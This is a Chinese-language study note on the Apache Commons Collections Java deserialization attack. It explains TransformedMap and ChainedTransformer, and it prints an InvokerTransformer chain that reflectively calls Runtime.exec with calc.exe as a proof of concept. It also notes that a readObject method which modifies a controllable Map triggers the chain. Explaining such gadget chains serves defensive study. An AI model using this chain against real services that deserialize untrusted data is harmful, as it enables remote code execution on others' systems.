简单分析
构造一个对象 —— 反序列化 —— 提交数据
Map类是存储键值对的数据结构
TransformedMap类 ,该类可以在一个元素被添加/删除/或是被修改时,会调用transform方法自动进行特定的修饰变换,具体的变换逻辑由Transformer类定义
简单来说就是 数据改变时,进行一些我们提前设定好的操作
transformedMap类 Map transformedMap = TransformedMap.decorate(map, keyTransformer, valueTransformer);
keyTransformer和valueTransformer分别对应当key改变和value改变时需要做的操作,其类型实现了Transformer接口,如下:
public interface Transformer {
Object transform(Object var1);
}
public Object transform(Object input) {}
其中只定义了一个transform方法。这个方法会在key或者value改变时触发调用。如果需要触发一系列操作,可定义ChainedTransformer来实现
首先定义一个Transformer数组:
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(...),
new InvokerTransformer(...),
.....
};
//transformers: 一个transformer链,包含各类transformer对象(预设转化逻辑)的转化数组
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[] {String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke",
new Class[] {Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] {String.class }, new Object[] {"calc.exe"})};
其次实例化ChainedTransformer:
Transformer chainedTransformer = new ChainedTransformer(transformers);
最后传入TransformedMap实例化参数中:
Map transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
现在真正的主角出场,InvokerTransformer。如果在变换链中有InvokerTransformer,则也会调用transform方法,它对应方法实现如下:
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var7) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
}
}
}
从中可以看出,它是利用反射机制来调用对应的方法。如果input可控,输入一些非法的对象,则会带来安全风险
如果一个类的方法被重写,那么在调用这个函数时,会优先调用经过修改的方法。
因此,如果某个可序列化的类重写了readObject()方法,并且在readObject()中对Map类型的变量进行了键值修改操作,且这个Map变量是可控的,我么就可以实现攻击目标。
参考:https://blog.csdn.net/jameson_/article/details/80137016
https://www.jianshu.com/p/e922ea492ccd